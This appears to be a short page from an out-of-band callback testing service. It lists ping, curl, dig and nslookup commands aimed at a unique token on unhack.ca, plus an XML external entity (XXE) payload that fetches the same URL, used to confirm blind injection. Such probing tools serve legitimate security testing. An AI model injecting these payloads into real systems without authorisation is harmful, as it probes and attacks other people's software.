$ ping -c1 -p 0038b7797a95b8ac542408dc821a1700 unhack.ca
 
$ curl http://unhack.ca/p/38b7797a95b8ac542408dc821a17
 
$ dig 38b7797a95b8ac542408dc821a17 @unhack.ca
 
$ dig 38b7797a95b8ac542408dc821a17.ns.unhack.ca
 
C:\> nslookup 38b7797a95b8ac542408dc821a17 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/38b7797a95b8ac542408dc821a17">]>
    <foo>&xxe;</foo>
Waiting for ping...